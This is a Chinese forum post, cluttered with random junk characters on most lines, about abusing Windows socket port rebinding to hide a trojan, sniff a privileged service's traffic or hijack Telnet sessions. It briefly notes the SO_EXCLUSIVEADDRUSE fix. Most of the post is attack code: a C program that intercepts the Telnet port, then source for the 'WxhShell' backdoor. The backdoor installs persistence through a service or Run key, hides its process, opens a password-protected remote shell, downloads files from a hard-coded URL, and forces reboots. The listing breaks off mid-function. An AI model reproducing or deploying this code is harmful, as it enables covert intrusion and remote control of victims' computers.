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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;Tn$c70  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0&YW#L|J  
aMxg6\8  
  saddr.sin_family = AF_INET; Q1?0R<jOU  
k4:e0Wd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'mH9 O  
h7}D//~p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /MErS< 6  
\5MW65  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =lE_ Q[P  
tqnvC UIE  
  这意味着什么?意味着可以进行如下的攻击: sO5~!W>Z  
(sXR@Ce$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VdVUYp  
0E6tH& ;>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Jvk!a~e  
nkv+O$LXP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y rSTU-5u  
Q :<&<i=I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .+;;-]})  
Y"x9B%e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gCVgL]jj(  
y)s+/Teb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?gp:uxq,.  
* [\H)Lz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0""t`y&  
i #uc  
  #include &.> 2@  
  #include aSKLSl't`  
  #include s$V'|Pt  
  #include     8>}k5Qu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'Mfn:n+  
  int main() {hS9FdWA;  
  { d3$*z)12`  
  WORD wVersionRequested; Ik4FVL8~  
  DWORD ret; hzT,0<nw  
  WSADATA wsaData; 1Q&\y)@bT  
  BOOL val; k u@sQn  
  SOCKADDR_IN saddr; doIcO,Q  
  SOCKADDR_IN scaddr; oj|\NlR  
  int err; qmWK8}F.cE  
  SOCKET s; 6`ZHFem  
  SOCKET sc; XZ8#8Di8  
  int caddsize; 0/1Ay{ns  
  HANDLE mt; YA";&|V  
  DWORD tid;   KA=cIm  
  wVersionRequested = MAKEWORD( 2, 2 ); 1ZUmMa1(  
  err = WSAStartup( wVersionRequested, &wsaData ); :sf(=Y.qA  
  if ( err != 0 ) { p~n62(  
  printf("error!WSAStartup failed!\n"); W? `%it5  
  return -1; 20Umjw.D  
  } &YSjwRr  
  saddr.sin_family = AF_INET; (?G?9M#7_  
   -3z$~ {  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |#y+iXTJ   
z'FpP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E{Tvjh+  
  saddr.sin_port = htons(23); _{eH" ,(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @v#]+9F  
  {  Uz;z  
  printf("error!socket failed!\n"); Wfw6(L  
  return -1; {Q%"{h']  
  } _a~uIGN  
  val = TRUE; &<oZl.T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ([mC!d@a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \:'|4D]'I  
  { a2'si}'3  
  printf("error!setsockopt failed!\n"); MmZs|pXk  
  return -1; 9kpCn.rJ  
  } yF~iVt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6N6}3J5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qu}&4_`%:V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4 Qo(Wl  
3NLC~CJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^Yz.}a##w2  
  { Vy- kogVt  
  ret=GetLastError(); >ZE8EL  
  printf("error!bind failed!\n"); <~rf;2LZ  
  return -1; /2<1/[#  
  } y;.U-}e1  
  listen(s,2); ,KfBG<3   
  while(1) dbmty|d  
  { Y &G]M  
  caddsize = sizeof(scaddr); /3(|P  
  //接受连接请求 SR+<v=i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5kRP Sfh  
  if(sc!=INVALID_SOCKET) n1"QHA  
  { rJ@yOed["b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q1|! oQ  
  if(mt==NULL) X-Yy1"6m1  
  { THFzC/~Q  
  printf("Thread Creat Failed!\n"); QJsud{ada  
  break; |uT &M`7\{  
  } g[#4`Q<.  
  } Zx1I&K\Cd  
  CloseHandle(mt); (_9cL,v  
  } nVO|*Bnf)  
  closesocket(s); @CxXkR  
  WSACleanup(); e5 "?ol0  
  return 0; ^Hdru]A$2  
  }   JdP[ cN  
  DWORD WINAPI ClientThread(LPVOID lpParam) zFR=inI  
  { -C>q,mDJZ  
  SOCKET ss = (SOCKET)lpParam; )\!-n]+A  
  SOCKET sc; na%DF@Rt#  
  unsigned char buf[4096]; !6yyX}%o  
  SOCKADDR_IN saddr; 8,5H^Bi  
  long num; ~ sC<V  
  DWORD val; viLK\>>  
  DWORD ret; Ot^<:\< `G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NV[_XXTv7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l6AG!8H  
  saddr.sin_family = AF_INET; U&(TqRi,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0c pI2  
  saddr.sin_port = htons(23); ranlbxp2l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GC<zL }  
  { FtEmSKD  
  printf("error!socket failed!\n"); 7jf%-X  
  return -1; DKvNQ:fI>9  
  } 6G6B!x  
  val = 100; f19~B[a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ssWSY(j]  
  { x}c%8dO#J  
  ret = GetLastError(); F1q a`j^'  
  return -1; *<5zMSZO  
  } W=$cQ(x4Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P+h p'YK1  
  { #nzVgV]  
  ret = GetLastError();  .L vg $d  
  return -1; bsn.HT"5  
  } qMA K"%x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,rO>5$w.  
  { $PNS`@B  
  printf("error!socket connect failed!\n"); DNh{J^S"}w  
  closesocket(sc); ]Zj6W9]m  
  closesocket(ss); r=`]L-}V  
  return -1; #Fl5]> |  
  } *1>zE>nlP  
  while(1) Bl >)GX\l  
  { NY& |:F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =s\RK   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :J'ibb1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,)CRozC\}K  
  num = recv(ss,buf,4096,0); 4;_<CB  
  if(num>0) o|FY-+  
  send(sc,buf,num,0); IhRYV`:  
  else if(num==0) Y(` # J[  
  break; UP*\p79oO  
  num = recv(sc,buf,4096,0); (16U]s  
  if(num>0) ?9?eA^X%  
  send(ss,buf,num,0); 6?CBa]QG  
  else if(num==0) _BA2^C':c{  
  break; >`@c9 m  
  } tR;? o,T  
  closesocket(ss); +( *;F4>  
  closesocket(sc); itp$c|{  
  return 0 ; :Hn*|+'  
  } ^LO`6,   
\k8|3Y~g  
9qqzCMrI0e  
========================================================== d- wbZ)BR  
&>0ape  
下边附上一个代码,,WXhSHELL +mr\AAFn  
@`hnp:  
========================================================== @ZD/y %e  
T9c=As_EM  
#include "stdafx.h" q,W6wM;,E  
*>ilT5q  
#include <stdio.h> w^.^XK4v.  
#include <string.h> dV5aIj  
#include <windows.h> S!u`V3-s  
#include <winsock2.h> Dn}Wsd=  
#include <winsvc.h> !JkH$~  
#include <urlmon.h> X+: >&&9  
`D#3  
#pragma comment (lib, "Ws2_32.lib") 77:s=)   
#pragma comment (lib, "urlmon.lib") TC2gl[  
v7L} I[f  
#define MAX_USER   100 // 最大客户端连接数 5_d=~whO&2  
#define BUF_SOCK   200 // sock buffer [CfA\-gx<f  
#define KEY_BUFF   255 // 输入 buffer => PBdW  
* MJl(  
#define REBOOT     0   // 重启 @k~_ w#  
#define SHUTDOWN   1   // 关机 frYPC Irj  
pxF<L\L?:  
#define DEF_PORT   5000 // 监听端口 E8:4Z$|c  
*@C4~Zo  
#define REG_LEN     16   // 注册表键长度 N1O& fMz  
#define SVC_LEN     80   // NT服务名长度 s`bC?wr5h  
A(xCW+h@)  
// 从dll定义API =Wl*.%1 b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JE`mB}8s/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [\j@_YYd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Tath9wlv6;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fO4e[g;G  
%/^k r ZD  
// wxhshell配置信息 Xgy)Z:R  
struct WSCFG { s 4Mi9h_  
  int ws_port;         // 监听端口 CD]2a@j {  
  char ws_passstr[REG_LEN]; // 口令 =h083|y>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'pUJlPGx  
  char ws_regname[REG_LEN]; // 注册表键名 6iozb~!Rr  
  char ws_svcname[REG_LEN]; // 服务名 'm;M+:l 6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'k9?n)<DW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /$IF!q+C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @;-6qZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #&@qmps(T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bi fi02  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i>Cxi ZT  
$jd>=TU|  
}; >gt_C'  
&zCqF=/9U  
// default Wxhshell configuration "hRY+{m  
struct WSCFG wscfg={DEF_PORT, T4W"!4[  
    "xuhuanlingzhe", ~dIb>[7wy  
    1, LNp%]*h  
    "Wxhshell", iwHy!Vi-5  
    "Wxhshell", 6zQ {Y"0  
            "WxhShell Service", ZOFhX$I  
    "Wrsky Windows CmdShell Service", qM`XF32A$  
    "Please Input Your Password: ", L"i B'=  
  1, `0r=ND5.  
  "http://www.wrsky.com/wxhshell.exe", ;%1ob f 89  
  "Wxhshell.exe" @17hB h  
    }; 2p(M`@  
u}QB-oU  
// 消息定义模块 eJMD8#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5XNIX)H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZCQ7xQD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]Q\Ogfjp  
char *msg_ws_ext="\n\rExit."; 0Fw0#eE  
char *msg_ws_end="\n\rQuit."; @:@0}]%z9  
char *msg_ws_boot="\n\rReboot..."; ]E66'  
char *msg_ws_poff="\n\rShutdown..."; I/bED~Z:a  
char *msg_ws_down="\n\rSave to "; Na^1dn  
~U:{~z  
char *msg_ws_err="\n\rErr!"; IMY?L  
char *msg_ws_ok="\n\rOK!"; >4a@rT/  
j.$#10*:  
char ExeFile[MAX_PATH]; i0uBb%GMT  
int nUser = 0; LxkToO{  
HANDLE handles[MAX_USER]; JMu|$"o&{  
int OsIsNt; 7z \I\8  
'Y+AU#1~H  
SERVICE_STATUS       serviceStatus; [L1pDICoy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?JTy+V2t  
%T*lcg  
// 函数声明 \4wM8j  
int Install(void); b=a&!r5M  
int Uninstall(void); :X[(ymWNE  
int DownloadFile(char *sURL, SOCKET wsh); A~Eu_m  
int Boot(int flag); YzU(U_g$  
void HideProc(void); S .rT5A[  
int GetOsVer(void); 2 [a#wz'  
int Wxhshell(SOCKET wsl); o #{D;'  
void TalkWithClient(void *cs); @EzSosmF  
int CmdShell(SOCKET sock); B^Q\l!r  
int StartFromService(void); -zg,pK$+  
int StartWxhshell(LPSTR lpCmdLine); p_Fc:%j>  
N<+ ><>9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FG7}MUu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5O&6 (Gaf  
~$>l@> xX  
// 数据结构和表定义 ks7g*; 3{@  
SERVICE_TABLE_ENTRY DispatchTable[] = .ag4i;hS8  
{ @L^2VVWk^  
{wscfg.ws_svcname, NTServiceMain}, \t'(&taX<  
{NULL, NULL}  IpY  R  
}; g^(wZ$NH  
9iWDEk  
// 自我安装 $j^Jj  
int Install(void) xA]CtB*o7  
{ <CJua1l\  
  char svExeFile[MAX_PATH]; gF1q Z=<  
  HKEY key; vpx8GiV  
  strcpy(svExeFile,ExeFile); AwB ]0H  
1?"vKm  
// 如果是win9x系统,修改注册表设为自启动 r00waw>C\  
if(!OsIsNt) { p~I+ZYWF'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nnIBN4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `pzp(\lc  
  RegCloseKey(key); ,St#/tu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b9[;qqq@'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &^4\Rx_I  
  RegCloseKey(key); _*6nTSL  
  return 0; r_T\%  
    } }% JLwN  
  } blph&[`}I  
} wly#|  
else { +vaz gO<u  
Ixg.^>62  
// 如果是NT以上系统,安装为系统服务 4)+MvKxjS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c|u{(E58  
if (schSCManager!=0) xf<D5 olZ  
{ -W wFUm  
  SC_HANDLE schService = CreateService < i*v  
  ( )I{41/_YA  
  schSCManager, 4x.'H18  
  wscfg.ws_svcname,  @jO3+  
  wscfg.ws_svcdisp, j]}A"8=1  
  SERVICE_ALL_ACCESS, XodA(73`i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M~w =ZJ@  
  SERVICE_AUTO_START, v0|A N  
  SERVICE_ERROR_NORMAL, 2hAu~#X  
  svExeFile, =v=a:e  
  NULL, t>f<4~%MJ  
  NULL, I\PhgFt@O  
  NULL, E"bYl3  
  NULL, WM NcPHcj  
  NULL :y%%Vx~  
  ); (;P)oB"`C  
  if (schService!=0) zx'G0Z9]  
  { .MMFN }1O  
  CloseServiceHandle(schService); Hv(0<k6oH  
  CloseServiceHandle(schSCManager); ?`Qw=8]`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |Y"q. n77  
  strcat(svExeFile,wscfg.ws_svcname); 5b3Wt7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <~t38|Ff@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H1rge<  
  RegCloseKey(key); z$oA6qB)  
  return 0; z:bxnM2\  
    } <",4O  
  } 4m$nVv  
  CloseServiceHandle(schSCManager); ,x!P|\w.G{  
} [sp=nG7i&  
} Rv ?G o2  
Ji4c8*&Jpc  
return 1; g !w7Yv  
} LEvdPG$)  
G`PSb<h\oc  
// 自我卸载 mm\Jf  
int Uninstall(void) `o yz"07m  
{ ct=|y(_  
  HKEY key; 7(^<Z5@  
G!T)V2y  
if(!OsIsNt) { zg2A$Fd[j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Oyhl*`-*t  
  RegDeleteValue(key,wscfg.ws_regname); xi8RE@gm  
  RegCloseKey(key); E{sTxO I$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |;ycEB1  
  RegDeleteValue(key,wscfg.ws_regname); :XcU@m  
  RegCloseKey(key); 9d^o2Y o  
  return 0; #ebT$hf30  
  } @FIR9XJ  
} Bu">)AnN  
} T!eeMsI  
else { D`0II=  
5c($3Pno=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q3JoU/Sf  
if (schSCManager!=0) :q S=_!1  
{ bVSa}&*kM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x0@J~ _0  
  if (schService!=0) ZdeRLX  
  { j':Ybr>BR  
  if(DeleteService(schService)!=0) { S*Un$ngAh  
  CloseServiceHandle(schService); yd[}?  
  CloseServiceHandle(schSCManager); p{xO+Nx1a  
  return 0; tiSN amvG1  
  } K2>(C$Z  
  CloseServiceHandle(schService); YFOSv]w  
  } iJIPH>UMX  
  CloseServiceHandle(schSCManager); !/ TeTmo  
} q0{KYWOvk  
} J!O5`k*.C  
/vS!9f${  
return 1; YW9 [^  
} %@3AA<  
=_I2ek  
// 从指定url下载文件 frbKi _1  
int DownloadFile(char *sURL, SOCKET wsh) ZXljCiNn+\  
{ 01}az~&;35  
  HRESULT hr; -q|K\>tgU  
char seps[]= "/"; Fx 2 KRxk  
char *token; CdlE"Ye  
char *file; "{105&c\  
char myURL[MAX_PATH]; ~Tq `c  
char myFILE[MAX_PATH]; 87c7p=/0`  
6|wi Zw  
strcpy(myURL,sURL); /1ooOq]  
  token=strtok(myURL,seps); >'wl)j$  
  while(token!=NULL) eWS[|' dl  
  { KhAj`vOzK  
    file=token; J?Brnf.  
  token=strtok(NULL,seps); z kQV$n{  
  } )Q9m,/F  
_Sy-&}c+ +  
GetCurrentDirectory(MAX_PATH,myFILE); @B %m,Mx  
strcat(myFILE, "\\"); m]} E0  
strcat(myFILE, file); Or= [2@Wg  
  send(wsh,myFILE,strlen(myFILE),0); @'j=oTT  
send(wsh,"...",3,0); ` `j..v,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D% } ?l  
  if(hr==S_OK) s$css{(ek  
return 0; ,@jRe&6  
else Kl GPu GL  
return 1; j9u/R01d  
_7#Ng@#\  
} ]3wg-p+  
?r0#{x~  
// 系统电源模块 -;&aU;k  
int Boot(int flag) <uDEDb1|l  
{ w'z ?1M(*  
  HANDLE hToken; #y%bx<A  
  TOKEN_PRIVILEGES tkp; Q( .d!CQ>  
J * $u  
  if(OsIsNt) { CdgZq\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1OK,r`   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <DP_`[+C  
    tkp.PrivilegeCount = 1; dqO!p6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _"_ W KlN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z OD5a=[1  
if(flag==REBOOT) { X> :@`}bq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p0~=   
  return 0; 9YRoWb{y  
} w~+5FSdH  
else { T#xCu|5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k v1q \  
  return 0; #\KSv Z  
} T{3C3EE?]  
  } 5A/8G}'XZ  
  else { EKoAIC*?p  
if(flag==REBOOT) { ac"Pn? q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VXXo\LQUU  
  return 0; l|z 'Lwwm5  
} %5 V!Fdb  
else { ['ol]ZJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $Nvt:X_  
  return 0; y E-H-r~I  
} 8Kt_irD  
} =8O057y  
#Ki(9oWd  
return 1; x=Z\c,@O  
} n_\V G[f  
U<{8nMB  
// win9x进程隐藏模块 ?nJ7lLQA  
void HideProc(void) ln%xp)t  
{ J/S 47J~  
xO)vn\uJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c;c'E&9P]  
  if ( hKernel != NULL ) R+k-mbvnt  
  {  /B)ZB})z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H6(kxpOI\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oV utHt  
    FreeLibrary(hKernel); gXN#<g,:^  
  } yE[ -@3v  
ga&l.:lo  
return; wU,{ 5w  
} 7_C;-  
#mwV66'H  
// 获取操作系统版本 R2WEPMH%  
int GetOsVer(void) T.O^40y  
{ s2A3.SN  
  OSVERSIONINFO winfo; |P7c {  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !c-Ie~GIT  
  GetVersionEx(&winfo); jV Yt=j*"V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Ci\(  
  return 1; l<5O\?Vo]  
  else %Z~, F?  
  return 0; cnr&%-  
} YfL|FsCh  
OE)n4X  
// 客户端句柄模块 ^]c/hb|X  
int Wxhshell(SOCKET wsl) Fgq"d7`9@  
{ tn\Y:  
  SOCKET wsh; Su`LBz"  
  struct sockaddr_in client; U">J$M@  
  DWORD myID; a7'.*H]  
` W$  
  while(nUser<MAX_USER) $O"S*)9  
{ ModwJ w  
  int nSize=sizeof(client); c#sPM!!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z3+y|nx!  
  if(wsh==INVALID_SOCKET) return 1; AY4ZU CqI  
WmU4~.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pFi.?|6"  
if(handles[nUser]==0) & V :q}Q  
  closesocket(wsh); 1~:7W  
else (\m4o   
  nUser++; jv7-i'I@  
  } {[WEA^C~Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hZ|*=/3k  
eq.K77El{J  
  return 0; d%_v eVIe  
} 2|]$hjs  
~$XbYR-  
// 关闭 socket N %N %  
void CloseIt(SOCKET wsh) f!hQ"1[  
{ L6`(YX.:  
closesocket(wsh); Eyi^N0  
nUser--; ,JIjAm*2  
ExitThread(0); {a`t1oX(  
} Jj+|>(P  
3 EH/6  
// 客户端请求句柄 tdSy&]P  
void TalkWithClient(void *cs) &ywAzGV{s  
{ Nq'Cuwsp  
DQO~<E6c  
  SOCKET wsh=(SOCKET)cs; )W9W8>Cc5_  
  char pwd[SVC_LEN]; ~_ss[\N  
  char cmd[KEY_BUFF]; USfpCRj9  
char chr[1]; @igGfYy  
int i,j; YT\x'`>Q  
pQ%~u3  
  while (nUser < MAX_USER) { hZ NS$  
7=C$*)x  
if(wscfg.ws_passstr) { *i zPLM}+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *sK")Q4N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OAPR wOQ^=  
  //ZeroMemory(pwd,KEY_BUFF); (sLFJ a6e  
      i=0; r&sm&4)p-5  
  while(i<SVC_LEN) { WLGk  
rX*4$d0  
  // 设置超时 g a|RW0  
  fd_set FdRead; 3YT>3f!\  
  struct timeval TimeOut; 'o=`1I  
  FD_ZERO(&FdRead); ;u`zZb=,[  
  FD_SET(wsh,&FdRead); S^nshQI  
  TimeOut.tv_sec=8; l H:Y8j  
  TimeOut.tv_usec=0; gi!{y   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2mUq$kws  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SK f9 yS#  
pN# \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zf-)c1$*r  
  pwd=chr[0]; l>K z5re^  
  if(chr[0]==0xd || chr[0]==0xa) { fw aq  
  pwd=0; !f5I.r~  
  break; ozN#LIM>P  
  } R2{y1b$l  
  i++; 2eErvfC[  
    } YEfa8'7R  
w@&g9e6E  
  // 如果是非法用户,关闭 socket ph\KTLU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "@: b'm  
} r.1/ * i  
$s$j</.q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h+EG) <  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dqwCyYC  
5bU[uT,`6  
while(1) { Y1 RiuJtL  
!Ra.DSL  
  ZeroMemory(cmd,KEY_BUFF); L=Cm0q 3 v  
ioxs x>e<  
      // 自动支持客户端 telnet标准   sevaNs  
  j=0; p)l>bC?3  
  while(j<KEY_BUFF) { DyeV uB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = 7%1]  
  cmd[j]=chr[0]; _SU%ul  
  if(chr[0]==0xa || chr[0]==0xd) { FPj j1U`C  
  cmd[j]=0; r[; .1,(  
  break; SF$'$6x}  
  } H}m%=?y@  
  j++; E}eu]2=nU}  
    } qK}4r5U  
l)y$c}U  
  // 下载文件 t(3<w)r2  
  if(strstr(cmd,"http://")) { dH4wyd`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xXG-yh  
  if(DownloadFile(cmd,wsh)) a1V+doC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5IOMc 4v  
  else 'r`#u@TTZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {m1=#*  
  }  CZ&VP%  
  else { PDN3=PAR/A  
xj 6ht/qq  
    switch(cmd[0]) { 'iy &%?  
  c_$9z>$  
  // 帮助 gG"W~O)yv  
  case '?': { E-Z6qZ^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D)C^'/8q  
    break; &8VB{S>r  
  } b[+G+V   
  // 安装 ^7Sk`V  
  case 'i': { [I/f(GK  
    if(Install()) 4`Com~`6"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aju!Aq54G  
    else Y:|_M3&'o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); piq1cV  
    break; a/ d'(]  
    } .iK{=L/(y  
  // 卸载 QLNQE6-  
  case 'r': { Pl|e?Np  
    if(Uninstall()) {&tbp Bl#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + 3+^J?N  
    else fq*. 4s #  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R7~H}>uaF  
    break; E]G#"EV!Y  
    } ?UD2}D[M  
  // 显示 wxhshell 所在路径 ^kg[n908Nw  
  case 'p': { w74 )kIi  
    char svExeFile[MAX_PATH]; ^`0^|u=  
    strcpy(svExeFile,"\n\r"); K_\fO|<k  
      strcat(svExeFile,ExeFile); QcZ*dI7]:  
        send(wsh,svExeFile,strlen(svExeFile),0); l| 1O9I0Gd  
    break; #"tHT<8u  
    } JNY;;9o  
  // 重启 =HJ)!(  
  case 'b': { tqI]S X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V&7jd7 2{  
    if(Boot(REBOOT)) 5AmY rXZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `[T|Ck5  
    else { 5sbMp;ZM  
    closesocket(wsh); V6)e Jy  
    ExitThread(0); bWc3a  
    } pqaQ%|<  
    break; 63hOK  
    } z#qlu=  
  // 关机 \i Ylh HD  
  case 'd': { M%dJqwH5{  
